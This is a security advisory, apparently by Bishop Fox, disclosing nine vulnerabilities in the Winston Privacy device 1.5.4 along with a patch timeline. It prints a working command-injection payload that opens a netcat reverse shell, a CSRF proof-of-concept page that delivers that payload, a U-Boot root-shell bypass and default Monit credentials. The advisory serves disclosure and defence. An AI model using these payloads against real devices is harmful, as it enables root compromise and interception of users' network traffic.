ADVISORY SUMMARY
The Winston Privacy device was affected by critical and high-risk issues, including a severe command injection vulnerability. The device API was affected by multiple authorization/access control issues and cross origin attack vectors. Additionally, an undocumented SSH (remote access) service was identified. Winston was highly responsive in triaging and addressing vulnerabilities (see timeline for more details).
Impact
By exploiting these vulnerabilities an attacker could compromise the Winston Privacy device at a root level (high privilege) and gain complete control of the device as well as access to users' local networks from the context of a remote unauthenticated attacker. The vulnerabilities allowed for any device settings to be altered through an attack chain. Additionally, an SSH service was discovered on the device that was undocumented to the users’ knowledge, meaning Winston Privacy staff could access devices remotely.
Winston would like to clarify, "SSH access is disclosed to users when they report critical bugs which need remote assistance. We provide instructions at that time on how to open ports to provide this access to us."
Risk Level
Critical
Affected Vendor
Product Vendor |
Product Name |
Affected Version |
| Winston Privacy | Winston Privacy device | 1.5.4 |
Product Description
Winston Privacy is a hardware VPN alternative designed to keep users’ internet traffic private. The project’s official website is https://winstonprivacy.com/. The latest version of the application is 1.5.8, released on 10/22/2020.
Vulnerabilities List
9 vulnerabilities were identified within the Winston Privacy device, including:
COMMAND INJECTION
CROSS-SITE REQUEST FORGERY (CSRF)
IMPROPER ACCESS CONTROLS – OVERLY PERMISSIONED LOCAL USER
IMPROPER ACCESS CONTROLS – OVERLY PERMISSIONED PROCESS
IMPROPER ACCESS CONTROLS – LOCAL CONSOLE ACCESS
INSECURE CROSS-ORIGIN RESOURCE SHARING (CORS)
INSUFFICIENT AUTHORIZATION CONTROLS
DEFAULT CREDENTIALS
UNDOCUMENTED SSH SERVICE
Solution
Update to version 1.5.8. (Partial fixes were offered in released intermediary updates)
These vulnerabilities are described in the following sections.
VULNERABILITIES
COMMAND INJECTION
The Winston Privacy device management API is vulnerable to command injection resulting in unauthenticated remote code execution (RCE). Specifically, the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>/api/advanced_settings</span></span></code></span> endpoint allows device settings to be altered, including the Proxy Address.
CVE ID |
Security Risk |
Impact |
Access Vector |
| CVE-2020-16257 | Critical | Code execution, Information disclosure | Remote |
The following unauthenticated API request was sent with a command injection payload in the Proxy Address field, which resulted in a connect-back shell:
POST /api/advanced_settings HTTP/1.1
Host: 192.168.50.62:82
<span style="color:#4a8cca;">…omitted for brevity…</span>
{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"ProxyAddress":<strong><mark>"192.168.50.62$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.50.88 3137 >/tmp/f)","</mark></strong>Result":"","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","EnableSmartBlocking":true,"EnableExtensions":true}
Figure 1 - Request with command injection payload
To discover this API endpoint, the Winston Privacy service binaries were extracted and disassembled after gaining access to the filesystem via a console that was accessible over a micro USB port, as described in the local console access section of the improper access controls finding in this advisory.
The vulnerable endpoint behavior was implemented in the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>main.ApplyAdvancedSettingsChanges()</span></span></code></span> function. This function first saved the following values into the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>/etc/winston/config.toml</span></span></code></span> file:

Figure 2 - Function calls in Winston binary in <span style="font-size:16px;background-color:#c2d6f2;"><code><span>/root/code/go/bin/winston</span></code></span>
The malicious user input persisted in <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>config.toml</span></span></code></span>, as shown below:
behindtherouter="1"
<span style="color:#4a8cca;">…omitted for brevity…</span>
proxy_addr="192.168.50.62<strong><mark>$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.50.88 3137 >/tmp/f)"</mark></strong>
remote_enable="1"
security_pin="1337"
<span style="color:#4a8cca;">…omitted for brevity…</span>
Figure 3 - <span style="font-size:16px;background-color:#c2d6f2;"><code>config.toml</code></span> post-exploitation
Winston then refreshed the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>iptables</span></span></code></span> rules using the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>/etc/winston/confiptable.sh</span></span></code></span> script:

Figure 4 - Winston binary calling <span style="font-size:16px;background-color:#c2d6f2;"><code>confiptable.sh</code></span>
<span style="font-size:16px;background-color:#c2d6f2;"><code></code></span>
The <span style="font-size:16px;background-color:#c2d6f2;"><code>confiptable.sh</code></span> script, which is shown below, sourced the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>config.toml</span></span></code></span> file, executing the attacker’s command substitution stored in <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>config.toml</span></span></code></span>:
# Important: This file is configured for the Winston Privacy Board HW1/HW2 from GlobalScale.
echo "Reading config file"
<strong><mark>source /etc/winston/config.toml</mark></strong>
<span style="color:#4a8cca;">…omitted for brevity…</span>
Figure 5 - Excerpt from <span style="font-size:16px;background-color:#c2d6f2;"><code>confiptable.sh</code></span>
As a result, the payload executed and returned a reverse Netcat shell to the attacker-controlled local server:

Figure 6 - Reverse shell returned
This vulnerability allowed any host on the LAN to perform an unauthenticated attack to obtain full device compromise. This compromise allowed an attacker to intercept all traffic passing through the Winston Privacy device. It was observed that the Winston Privacy device relied on ARP spoofing, a technique used by hackers to perform a Man-in-the-Middle attack, to solicit all network traffic.
Winston would like to clarify that ARP spoofing is only used in one of the setup modes and "the designation 'MITM' also refers to CA certification impersonation, which we do not do."
CROSS-SITE REQUEST FORGERY (CSRF)
The Winston Privacy device management API is vulnerable to CSRF. As a result, an attacker could change any device configuration or chain this CSRF vulnerability with the command injection finding to obtain RCE as an off-network attacker. This attack chain would allow an off-network attacker to gain root access on the Winston Privacy device as well as a privileged network position on a user’s internal network.
CVE ID |
Security Risk |
Impact |
Access Vector |
| CVE-2020-16256 | High | Code execution, Device settings alteration | Remote |
To demonstrate how an attacker could leverage this vulnerability, the following proof-of-concept (PoC) HTML document was created:
<html>
<title>Winston Privacy CSRF</title>
<body>
<style>
h1 {
text-align: center;
text-transform: uppercase;
margin: 100px 50px 75px 100px;
}
</style>
<h1>CSRF Exploit
Proof of Concept </h1>
<script>
// api.winstonprivacy.com:82 is the same as local. This function sends CMD injection payload to local Winston API
fetch('https://api.winstonprivacy.com:82/api/advanced_settings', {
method: 'POST',
body: '{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"ProxyAddress":"192.168.50.62$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.50.88 31337 >/tmp/f)","Result":"","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","EnableSmartBlocking":true,"EnableExtensions":true}'
})
</script>
</body>
</html>
Figure 7 - CSRF exploit PoC code
This HTML PoC document was then hosted locally as a web page, as shown below:

Figure 8 - CSRF exploit phishing page
If a user operating the Winston Privacy device navigated to this page, it would trigger the command injection API request (as described in the command injection finding) and result in code execution:

Figure 9 - Reverse shell returned from CSRF exploit
This attack chain allows remote unauthenticated attackers to gain root access on the Winston Privacy device, compromising the integrity of inbound and outbound traffic.
IMPROPER ACCESS CONTROLS
The Winston Privacy device is affected by improper access controls. Excessive permissions for both the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>www-data</span></span></code></span> user and the Winston Privacy API service facilitate root-level access upon compromise. Furthermore, the micro USB console allows for local root access.
CVE ID |
Security Risk |
Impact |
Access Vector |
| High | Escalation of privileges | Local |
Overly permissioned local user
User permissions allow a <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>www-data</span></span></code></span> user to escalate permissions to a <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>root</span></span></code></span> user on the operating system. The <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>www-data</span></span></code></span> user has <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>sudo</span></span></code></span> privileges, which makes that user equivalent to a <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>root</span></span></code></span> account.
The <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>/etc/sudoers</span></span></code></span> file contained the following line:
www-data <strong><mark>ALL=NOPASSWD:ALL</mark></strong>
Figure 10 - Sudoers file granting <span style="font-size:16px;background-color:#c2d6f2;"><code>www-data</code></span> user no-password sudo permissions
This file granted the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>www-data</span></span></code></span> user privileges to carry out any command on any resource without the use of a password, functionally making that user a <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>root</span></span></code></span> account.
This account appeared to be a remnant of a previous version of the web API, with the dead code still remaining in the device’s firmware.
Overly permissioned process
The Winston Privacy service is running with <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>root</span></span></code></span> permissions, as shown below:
root@winston-privacy-v1:~# ps aux | grep winston
<strong><mark>L1378 root 0:12 /root/code/go/bin/winston -v 1 -P /var/run/winston.pidL</mark></strong>
Figure 11 - Process owned by <span style="font-size:16px;background-color:#c2d6f2;"><code>root
</code></span>
If a vulnerability existed in the service that resulted in code execution, no further exploitation would be required to gain administrative control of the Winston Privacy device, as demonstrated in the aforementioned command injection finding.
Local console access
The Winston Privacy device allows a user to interrupt the U-Boot process and gain root access. Initially, the device only exposed power and network connections:

Figure 12 - Winston Device
To access the device’s electronics directly, we used a rotary tool to cut it open:

Figure 13 - Exposed micro USB after sawing off cover
This exposed a micro USB port, which interfaced with the device’s UART functionality, and what appeared to be a 10-pin JTAG header.

Figure 14 - Winston device internals showing micro-USB and potential 10-pin JTAG
Although the device had disabled the TTY login, this was bypassed by modifying the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>bootcmd</span></span></code></span> U-Boot environment variable (i.e., the Linux kernel parameters) to boot the kernel directly to a root shell via the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>init</span></span></code></span> boot parameter.
This interface had enabled the boot interrupt process. Pressing any key during the boot process would interrupt boot and allowed a user to edit the kernel command line:
WINSTON>> printenv bootcmd bootcmd=mmc dev 0;ext4load mmc 0:${mmcrootpart} $kernel_addr $image_name;ext4load mmc 0:${mmcrootpart} $fdt_addr $fdt_name;setenv bootargs $console root=/dev/mmcblk0p${mmcrootpart} rw rootwait net.ifnames=0 biosdevname=0;booti $kernel_addr - $fdt_addr
Figure 15 - Boot command variables
Editing this variable instructed the kernel to use <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>/bin/bash</span></span></code></span> as the <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>init</span></span></code></span> process:
WINSTON>> setenv bootcmd bootcmd=mmc dev 0;ext4load mmc 0:${mmcrootpart} $kernel_addr $image_name;ext4load mmc 0:${mmcrootpart} $fdt_addr $fdt_name;setenv bootargs $console root=/dev/mmcblk0p${mmcrootpart} rw rootwait net.ifnames=0 biosdevname=0;booti $kernel_addr - $fdt_addr <strong><mark>init=/bin/bash</mark></strong>
Figure 16 - Boot command edited variable
Booting the device then presented a root shell, granting privileged access to the filesystem. The team used this access to re-enable the serial console and create a new user for exploring the running system.
INSECURE CROSS-ORIGIN RESOURCE SHARING (CORS)
The Winston Privacy device management API’s CORS policy allows arbitrary origins to send requests and view responses. This vulnerable CORS policy could be used to change device settings or view devices on the local network. It could also be chained with the aforementioned command injection finding to gain code execution from the context of a remote off-network attacker in the same manner demonstrated in the CSRF vulnerability.
CVE ID |
Security Risk |
Impact |
Access Vector |
| CVE-2020-16263 | High | Code execution, Modification of device settings | Remote |
To confirm this vulnerable CORS policy, a request to add a firewall rule was sent to the API from a null origin:
Request
POST /api/firewall HTTP/1.1
Host: api.winstonprivacy.com:82
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 74
<strong><mark>Origin: null</mark></strong>
Connection: close
DNT: 1
{"protocol":"tcp","lanAddress":"192.168.50.1","lanPort":80,"wanPort":6666}
Response
<strong><mark>HTTP/1.1 200 OK
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Origin: *</mark></strong>
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: application/json; charset=utf-8
Expires: 0
Pragma: no-cache
Server: Winston
Vary: Access-Control-Request-Headers
Date: Thu, 23 Jul 2020 23:59:57 GMT
Content-Length: 82
Connection: close
{"Id":3,"Protocol":"tcp","LanAddress":"192.168.50.1","LanPort":80,"WanPort":6666}
As shown above, the request succeeded and allowed wildcard origin access to the response.
This overly permissive response header derived from the following lighttpd configuration found in <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>/etc/lighttpd/lighttpd.conf</span></span></code></span>:
setenv.add-response-header = ( "Server" => "Winston", <code class="language-http"><strong><mark>"Access-Control-Allow-Origin" => "*"</mark></strong></code> )
Figure 17 - Vulnerable CORS policy
This vulnerability could be exploited in the same manner as the CSRF finding. However, CORS allows responses to be viewed; assuming the CSRF issue did not exist, this CORS vulnerability would still affect the API as it stems from a separate root cause. Attackers could also exploit this permissive configuration to both extract sensitive information and perform state-changing operations to the remote device management API.
INSUFFICENT AUTHORIZATION CONTROLS
The Winston Privacy device management API is affected by insufficient authorization controls that allow device settings to be altered by unauthenticated users. Even if a PIN is set on the Winston Privacy UI, all device management API requests continue to be permitted without authentication.
CVE ID |
Security Risk |
Impact |
Access Vector |
| CVE-2020-16260 | High | Code execution, Escalation of privileges | Remote |
As shown below, Winston Privacy web application users could opt in to create a PIN:

Figure 18 - PIN request
However, this PIN is limited to the UI and adds no access control to the back-end API supporting the UI.
To demonstrate this issue, the following unauthenticated request was sent after establishing PIN authentication in the UI:
Request
POST /api/advanced_settings HTTP/1.1
Host: 192.168.50.62:82
<span style="color:#4a8cca;">…omitted for brevityy…</span>
{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"ProxyAddress":"192.168.50.62","Result":"","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","EnableSmartBlocking":true,"EnableExtensions":true}
<mark></mark>
Response
<code class="language-bash"><strong><mark>HTTP/1.1 200 OK</mark></strong></code>
<span style="color:#4a8cca;">…omitted for brevity…</span>
{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"ProxyAddress":"192.168.50.62","Result":"Updated IP tables. Update Proxy IP address to 192.168.50.62.","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","EnableSmartBlocking":true,"EnableExtensions":true}<mark></mark>
As shown above, the state-changing request succeeded, showing a 200 OK response without requiring any credentials or session context.
All requests to the API could still be sent successfully without authentication to the user interface.
DEFAULT CREDENTIALS
Winston Privacy runs a Monit web application on port 2812 that is configured with default administrative credentials. An attacker on the local network could log in to Monit and shut down the Winston Privacy service, thereby disabling privacy features.
CVE ID |
Security Risk |
Impact |
Access Vector |
| CVE-2020-16258 | Medium | Denial of service, Information disclosure | Remote |
The Monit service was configured to accept default credentials on the device, as shown in <span style="font-size:16px;background-color:#c2d6f2;"><code><span>/root/.monitrc</span></code></span>:
allow admin:monit # require user <code class="language-http"><strong><mark>'admin'</mark></strong></code> with password <code class="language-http"><strong><mark>'monit'</mark></strong></code>
Figure 19 - Monit default credentials
This would allow any user with network access to Winston Privacy to authenticate to the service as the <span style="font-size:16px;background-color:#c2d6f2;"><code><span>admin</span></code></span> user with the password <span style="font-size:16px;background-color:#c2d6f2;"><code><span>monit</span></code></span>:

Figure 20 - Monit authenticated with default credentials
As shown above, Monit monitors and manages running processes and allows remote shutdown of the processes. An attacker with access to this service could disable arbitrary services, affecting the integrity of the services provided by Winston Privacy.
UNDOCUMENTED SSH SERVICE
The Winston Privacy device runs an undocumented SSH service. This service corresponds to a local user account named <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>support</span></span></code></span>. Winston Privacy uses <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span>iptables</span></span></code></span> rules to restrict access to the SSH service to pre-defined WAN bastion hosts or the LAN.
CVE ID |
Security Risk |
Impact |
Access Vector |
| CVE-2020-16259 | Low | Vendor remote access | Remote |
During review of the Winston Privacy device’s filesystem, a support user was discovered in the <span style="font-size:16px;background-color:#c2d6f2;"><code><span>/etc/passwd</span></code></span> file:
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
ntp:x:999:998::/var/lib/ntp:/bin/false
sshd:x:998:997::/var/run/sshd:/bin/false
<code class="language-http"><strong><mark>support:x:1000:1000::/home/support:/bin/sh</mark></strong></code>
Figure 21 - Contents on <span style="font-size:16px;background-color:#c2d6f2;"><code>/etc/passwd</code></span>
By navigating the support account’s home directory, it was noted that the user had an authorized key configured to allow key authentication to the SSH server running on the non-standard port 2324:
sh-4.3# pwd
pwd
<code class="language-http"><strong><mark>/home/support</mark></strong></code>
sh-4.3# ls -la
ls -la
total 20
drwxr-xr-x 3 root root 4096 Jul 25 20:30 .
drwxr-xr-x 4 root root 4096 Jul 23 17:56 ..
-rwxr-xr-x 1 root root 410 Jul 19 16:09 .bashrc
-rwxr-xr-x 1 root root 152 Jul 19 16:09 .profile
drwxr-xr-x 3 1000 <code class="language-http"><strong><mark>support 4096 Jul 21 18:48 .ssh</mark></strong></code>
sh-4.3# ls -la .ssh
ls -la .ssh
total 16
drwxr-r-x 2 root root 4096 Jul 21 18:48
drwxr-r-x 3 1000 support 4096 Jul 21 18:48 .
drwxr-r-x 3 root root 4096 Jul 25 20:30 ..
-rwxr-xr-x 1 1000 <code class="language-http"><strong><mark>support 811 Jul 21 18:44 authorized_keys</mark></strong></code>
Figure 22 - Support user’s SSH authorized key file
Further investigation into this support user account revealed that the iptables rules allowed for remote access from two bastion servers:
-A INPUT -s 192.168.0.0/16 -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
-A INPUT -s 172.16.0.0/12 -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
-A INPUT -s 10.0.0.0/8 -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,EST ABLISHED -j ACCEPT
-A INPUT -s 192.168.102.0/24 -p tcp -m tcp --dport 2324 -m conntrack --ctstate N EW,ESTABLISHED -j ACCEPT
<code class="language-http"><strong><mark>-A INPUT -s 3.18.68.236/32 -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
-A INPUT -s 50.203.76.10/32 -p tcp -m tcp --dport 2324 -m conntrack --ctstate NE W,ESTABLISHED -j ACCEPT</mark></strong></code>
Figure 23 - <span style="font-size:16px;background-color:#c2d6f2;"><code>iptables</code></span> rules allowing remote access to SSH
Additionally, the support user had <span style="font-size:16px;background-color:#c2d6f2;"><code><span>sudo</span></code></span> permissions, functionally making that user a <span style="font-size:16px;background-color:#c2d6f2;"><code><span>root</span></code></span> user.
No documentation was found that stated to users that the device could be remotely accessed by Winston Privacy staff. However, Winston clarified, "SSH access is disclosed to users when they report critical bugs which need remote assistance. We provide instructions at that time on how to open ports to provide this access to us."
CREDITS
Chris Davis, Security Consultant, Bishop Fox ([email protected])
Justin Paglierani, Independent Security Researcher (@jpaglier)
TIMELINE
- Initial Discovery: 07/21/2020
- Contact With Vendor: 07/29/2020
- Vendor Acknowledged Vulnerabilities: 07/29/2020
- Patch for Command Injection issue: 07/29/2020
- Patch for most remaining issues; version 1.5.7: 09/28/2020
- Final complete patch; version 1.5.8: 10/22/2020
- Vulnerabilities publicly disclosed: 10/27/2020
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